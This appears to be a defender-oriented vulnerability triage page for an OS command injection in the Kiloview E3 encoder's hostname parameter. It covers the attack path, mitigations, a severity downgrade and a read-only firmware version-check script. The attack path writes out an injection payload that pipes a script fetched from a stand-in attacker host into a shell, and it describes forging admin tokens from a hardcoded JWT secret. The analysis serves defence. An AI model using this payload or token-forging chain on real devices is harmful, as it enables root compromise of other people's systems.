CVE-2026-107861 · Kiloview E3 NDI Encoder system control service hostname parameter OS…

01 · The Real Story

A label maker that lets anyone rewrite the building's nameplate — except the building is a single TV camera in a locked room

CVE-2026-107861 is a textbook OS command injection (CWE-78) in the Kiloview E3 NDI video encoder's system control service. The device-naming endpoint takes a hostname parameter and drops it, unquoted, into a shell command executed as root. Any authenticated user who can reach the web management UI can append shell metacharacters (;, $(…), backticks) and own the device outright. All E3 firmware versions prior to V1.30 are vulnerable; V1.30, released October 10 2026, fixes this along with eight sibling CVEs disclosed in the same CISA ICS advisory ICSA-26-295-01. The researcher Juan Alonso reported all nine flaws.

The vendor and CISA scored this 9.9 CRITICAL using CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — the near-maximum score assumes the low-privilege auth barrier is meaningful and that the scope change (root on the underlying OS, not just the web app) justifies S:C. In isolation, the auth gate *would* be a real friction point. But the same advisory bundle includes CVE-2026-92450 (CVSS 7.5), a hardcoded HMAC-SHA256 JWT signing secret identical across every E3 ever shipped. Any attacker who downloads the publicly available firmware image can extract this secret, forge an admin-level session token, and bypass authentication entirely — collapsing the PR:L prerequisite to PR:N in practice. Despite this devastating chain, the E3 is a niche broadcast/AV encoder with a small installed base, CISA recommends it never be internet-facing, and compromising one encoder gives you root on a single-purpose Linux appliance on what should be an isolated AV segment — not a domain controller, hypervisor, or identity provider. The 9.9 overstates real-world risk for defenders who follow basic segmentation.

"Trivial root shell on a niche encoder, but JWT hardcode chain and isolation limits temper the 9.9 vendor score"

02 · The Attack Path

5 steps from start to impact.

STEP 01

Obtain the JWT signing secret from firmware

The attacker downloads the Kiloview E3 firmware image from the vendor's public support page. Using standard firmware extraction tools (binwalk, unsquashfs), they locate the hardcoded HMAC-SHA256 secret string used to sign session JWTs. This secret is identical on every E3 device (CVE-2026-92450). No device access is needed for this step.

Conditions required:

Internet access to download firmware from kiloview.com

Where this breaks in practice:

Requires firmware reverse-engineering skill, though the secret is a static string — trivial for any competent attacker

STEP 02

Forge an admin JWT session token

Using the extracted secret, the attacker crafts a valid JWT with administrative privileges using standard tooling (pyjwt, jwt.io, custom scripts). Because CVE-2026-96616 gives tokens an effectively non-expiring lifetime, the forged token remains valid indefinitely. This eliminates the PR:L authentication barrier for CVE-2026-107861.

Conditions required:

Extracted HMAC-SHA256 secret from Step 1

Where this breaks in practice:

Straightforward JWT forgery — no novel technique required

STEP 03

Reach the E3 web management interface

The attacker must have network-level access to the E3's management port (typically TCP/80 or TCP/443). CISA and the vendor explicitly recommend these devices not be exposed to the internet and be placed behind firewalls on isolated AV/production networks. Reaching the interface requires either being on the same network segment, VPN access, or finding a misconfigured device exposed to the internet.

Conditions required:

Network path to the E3 management interface

Where this breaks in practice:

Properly segmented deployments isolate encoders on dedicated AV VLANs unreachable from corporate or internet networks
CISA guidance explicitly calls for firewall isolation
Shodan/Censys exposure of E3 management interfaces is expected to be very low

Detection/coverage: Network scanning tools (Shodan, Censys) can identify exposed E3 interfaces by HTTP response fingerprinting. Internal network monitoring can flag unexpected connections to AV segment devices.

STEP 04

Inject OS command via hostname parameter

With the forged admin token, the attacker sends an HTTP request to the device-naming endpoint, setting the hostname parameter to a value containing shell metacharacters — e.g., legit-hostname;curl attacker.com/shell.sh|sh. The system control service passes this value unquoted into a shell command executed as root. Arbitrary command execution is achieved immediately. No file upload, memory corruption, or race condition is needed — this is a trivial injection.

Conditions required:

Valid (forged) admin session token from Step 2
Network access to the management interface from Step 3

Where this breaks in practice:

None once Steps 2 and 3 are satisfied — the injection is trivially reliable

Detection/coverage: Web application firewalls or HTTP inspection on the management VLAN could detect shell metacharacters in the hostname parameter. Host-based detection on the embedded Linux is effectively nonexistent — these devices do not run EDR.

STEP 05

Establish persistence and pivot

With root access on the embedded Linux device, the attacker can install a reverse shell, modify firmware update mechanisms, intercept or manipulate NDI video streams, and use the device as a pivot point for lateral movement within the AV/production network segment. The device likely has no security monitoring agent, making persistence trivial to maintain.

Conditions required:

Root shell from Step 4

Where this breaks in practice:

Blast radius is limited to the AV network segment if properly isolated
Pivoting to corporate/IT networks requires crossing network boundaries that should exist
The device has limited storage and compute — not ideal as a long-term C2 node

Detection/coverage: Network-level anomaly detection (unusual outbound connections from encoder IPs, DNS queries to unknown domains) is the primary detection vector. On-device detection is effectively impossible without firmware integrity monitoring.

03 · Compensating Control

HIGH 7.5→LOW 3.0

SEVERITY REDUCED

Isolate E3 encoders on a dedicated AV/production VLAN with no route to corporate or internet networks — This is the single most effective control. Place all Kiloview E3 devices on a dedicated VLAN with firewall rules allowing only the minimum required traffic (NDI streams to receivers, NTP, firmware update server). Block all outbound internet access and all inbound access from non-AV segments. Deploy within 30 days per the noisgate mitigation SLA for HIGH findings. This breaks Step 3 of the attack path by eliminating network reachability from untrusted segments.

HIGH 7.5→IGNORE 0.0

SEVERITY REDUCED

Apply firmware V1.30 immediately on all E3 devices — Firmware V1.30 (released 2026-10-10) fixes all nine CVEs including this command injection and the hardcoded JWT secret. This is the definitive remediation. Schedule firmware updates within the 180-day noisgate remediation SLA for HIGH findings, though earlier is strongly preferred given the trivial exploitability. Kiloview firmware updates are applied via the device's web management interface.

HIGH 7.5→MEDIUM 5.5

SEVERITY REDUCED

Restrict management interface access to a jump host or out-of-band management network — If full VLAN isolation is not immediately achievable, restrict access to the E3 web management interface (TCP/80, TCP/443) to a single hardened jump host using host-based firewall rules on the network segment. This reduces the attack surface to a single management point. Deploy within 30 days.

HIGH 7.5→HIGH 6.5

Monitor AV segment for anomalous outbound connections — Deploy network-level monitoring (IDS/IPS, NetFlow analysis) on the AV segment to detect reverse shells, unusual DNS queries, or outbound connections from encoder IPs to unknown destinations. This does not prevent exploitation but provides detection of post-exploitation activity. These devices do not support endpoint agents.

What doesn't work

WAF in front of the management interface — The E3's web management is a proprietary embedded web server, not a standard web application. Most WAF signatures won't have rules for Kiloview-specific API endpoints, and the hostname parameter injection is in a device-specific API path that generic command injection rules may miss.
Changing device credentials — Even with strong unique passwords, CVE-2026-92450's hardcoded JWT secret allows forging admin tokens without knowing any credentials. Credential rotation provides zero protection until the firmware is updated to V1.30 which replaces the signing mechanism.
TLS/HTTPS on the management interface — Encryption protects the transport layer but does nothing against an attacker who has forged a valid JWT and is sending authenticated requests over the encrypted channel.

04 · Intelligence Metadata

The supporting signals.

In-the-wild exploitation	None reported. CISA advisory states: "No known public exploitation specifically targeting these vulnerabilities has been reported." Not listed in CISA KEV catalog.
Proof-of-concept	No public PoC found as of 2026-10-23. No repos on GitHub named after CVE-2026-107861. Not indexed on pocindex.io, ExploitDB, or Nuclei templates. However, exploitation is trivially reproducible — the injection requires only a crafted HTTP request with shell metacharacters in the hostname field.
EPSS	Not yet scored — CVE was disclosed 2026-10-22, EPSS model typically lags 24-72 hours for new CVEs. Expected to settle in the low-to-moderate range given niche product and no known exploitation.
CISA KEV	Not listed. Advisory ICSA-26-295-01 published 2026-10-22 but no KEV entry as of 2026-10-23.
CVSS vector interpretation	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` — Network-accessible, low complexity, low privilege required, no user interaction, scope changed (root on underlying OS), all impact metrics high. The S:C and PR:L are the key drivers of the 9.9. In practice, PR:L collapses to PR:N via CVE-2026-92450 JWT hardcode chain.
Affected versions	All Kiloview E3 firmware versions < 1.30. No specific lower-bound version identified; all shipping firmware prior to the fix is assumed vulnerable.
Fixed version	Firmware V1.30 (released 2026-10-10). No distro backports applicable — this is vendor-proprietary embedded firmware. Update via Kiloview's device management interface or firmware download page.
Chain amplifier	CVE-2026-92450 (hardcoded JWT HMAC-SHA256 secret, CVSS 7.5) converts this from authenticated to effectively unauthenticated RCE. CVE-2026-110825 (unauthenticated hostname/DNS/NTP write) adds further unauthenticated attack surface. Nine CVEs total in ICSA-26-295-01.
Exposure surface	NDI video encoders deployed in broadcast, live events, healthcare video, education, enterprise AV across 140+ countries. Small installed base relative to enterprise IT. CISA classifies under Communications and Information Technology sectors. Devices should not be internet-facing per vendor and CISA guidance.
Reporter	Juan Alonso reported all nine Kiloview E3 vulnerabilities to CISA. An earlier set of Kiloview encoder vulnerabilities (ICSA-26-029-01, CVE-2026-1453) in older E1/P2/RE1 models was reported by Muhammad Ammar (0xam225) in January 2026.

Sources.

05 · The Call

Final Verdict

↓ DOWNGRADED to HIGH (7.5/10)

Why this verdict

Auth barrier is paper-thin: CVE-2026-92450's hardcoded JWT secret means any attacker who downloads the public firmware can forge admin tokens, collapsing PR:L to effectively PR:N. This should push severity *up* from the standalone assessment — but the 9.9 already assumes easy exploitation, so the chain doesn't push past the ceiling.
Network isolation is the real gate: CISA and the vendor explicitly recommend these devices be behind firewalls on isolated AV/production networks, never internet-facing. For enterprises following this guidance, the attacker must already have internal network access to the AV segment — meaning they are post-initial-access and have crossed at least one network boundary. This is a significant friction point that the CVSS AV:N does not account for.
Niche installed base compresses exposure: The Kiloview E3 is a specialized NDI video encoder, not a ubiquitous enterprise component. Even large media organizations may have dozens, not thousands. The total global population of vulnerable E3s is orders of magnitude smaller than typical enterprise CVE populations (Windows, Exchange, Fortinet, etc.). This limits the addressable attack surface.
Role multiplier: (a) *Low-value role* — home studio, small event setup: root on one encoder = minimal impact, equivalent to losing a single peripheral. (b) *Typical role* — broadcast facility production network: encoder compromise gives a foothold on an AV VLAN, potential to disrupt or manipulate video streams, but lateral movement requires crossing to IT/corporate segments. (c) *High-value role assessment* — The E3 is NOT a canonical high-value-role component. It is not an identity provider, domain controller, hypervisor, CI/CD system, backup appliance, database, network edge appliance, EDR agent, or SIEM. In healthcare telemedicine or live broadcast, a compromised encoder could disrupt patient video or live feeds (availability impact), but this does not produce domain takeover, fleet compromise, mass data egress, or supply-chain pivot. The blast radius is host-to-segment, not domain or fleet. The high-value-role floor is not triggered.
No exploitation, no PoC: As of one day post-disclosure, there is no known exploitation, no public PoC, and no KEV listing. The trivial nature of the injection means a PoC will likely appear soon, but the combination of niche product + isolation guidance means weaponization pressure is low compared to widely-deployed enterprise edge appliances.

Why not higher?

The chain with CVE-2026-92450 does make this effectively unauthenticated root RCE, which in isolation would justify CRITICAL. However, the Kiloview E3 is a niche AV appliance with a small installed base, not a canonical high-value-role component. Compromising one encoder gives root on a single-purpose Linux appliance on what should be an isolated AV segment — not a domain controller, identity provider, or network edge device. The blast radius is bounded by proper network segmentation, and the device population is too small to justify CRITICAL even with trivial exploitation.

Why not lower?

The chain from JWT hardcode to unauthenticated root RCE is real and trivially reproducible. The device runs in sensitive environments (broadcast, healthcare) where disruption has tangible operational impact. CISA issued a dedicated ICS advisory, signaling the device operates in critical infrastructure contexts. Even on an isolated segment, a rooted Linux device is a persistent pivot point with no on-device detection capability. Dropping below HIGH would undercount the risk for organizations that have not implemented proper AV network isolation — and many have not.

06 · Verification

Crowdsourced verification payload.

Run this script on a host with network access to the Kiloview E3 management interface (e.g., the AV management jump host). It queries the device's API to retrieve the firmware version and compares it against the patched version. Requires curl and jq. Invoke as: bash check_kiloview_e3.sh 192.168.10.50 where the argument is the E3's IP address. No authentication is needed for version retrieval on most E3 firmware builds.

noisgate-verify.sh

BASHREAD-ONLYSAFE

#!/usr/bin/env bash
# check_kiloview_e3.sh — Verify Kiloview E3 firmware version for CVE-2026-107861
# Usage: bash check_kiloview_e3.sh <E3_IP_ADDRESS>
# Exit codes: 0 = PATCHED, 1 = VULNERABLE, 2 = UNKNOWN

set -euo pipefail

TARGET="${1:-}"
PATCHED_VERSION="1.30"

if [ -z "$TARGET" ]; then
  echo "Usage: $0 <E3_IP_ADDRESS>"
  exit 2
fi

echo "[*] Checking Kiloview E3 at $TARGET for CVE-2026-107861..."

# Attempt to retrieve device info via common API endpoints
RESPONSE=""
for ENDPOINT in "/api/system/info" "/systemctrl/system/info" "/cgi-bin/info"; do
  RESPONSE=$(curl -sk --connect-timeout 5 --max-time 10 "https://$TARGET$ENDPOINT" 2>/dev/null || \
             curl -sk --connect-timeout 5 --max-time 10 "http://$TARGET$ENDPOINT" 2>/dev/null || true)
  if [ -n "$RESPONSE" ] && echo "$RESPONSE" | jq -e '.version // .firmware_version // .sw_version' >/dev/null 2>&1; then
    break
  fi
  RESPONSE=""
done

if [ -z "$RESPONSE" ]; then
  echo "[!] Could not retrieve firmware version from $TARGET"
  echo "[*] Manual check: Log into the E3 web UI and navigate to System > Device Info."
  echo "[*] If firmware version is below $PATCHED_VERSION, the device is VULNERABLE."
  echo "UNKNOWN"
  exit 2
fi

# Extract version string
VERSION=$(echo "$RESPONSE" | jq -r '.version // .firmware_version // .sw_version // empty' 2>/dev/null)

if [ -z "$VERSION" ]; then
  echo "[!] Could not parse firmware version from response."
  echo "UNKNOWN"
  exit 2
fi

echo "[*] Detected firmware version: $VERSION"

# Compare versions (strip leading 'V' or 'v' if present)
CLEAN_VERSION=$(echo "$VERSION" | sed 's/^[Vv]//')

# Use sort -V for version comparison
if printf '%s\n%s\n' "$PATCHED_VERSION" "$CLEAN_VERSION" | sort -V | head -1 | grep -qx "$PATCHED_VERSION"; then
  echo "[+] Firmware $VERSION >= $PATCHED_VERSION"
  echo "PATCHED"
  exit 0
else
  echo "[-] Firmware $VERSION < $PATCHED_VERSION — VULNERABLE to CVE-2026-107861"
  echo "[-] Also vulnerable to CVE-2026-92450 (hardcoded JWT), CVE-2026-110243, and 6 other CVEs."
  echo "[-] Update to firmware V1.30 immediately."
  echo "VULNERABLE"
  exit 1
fi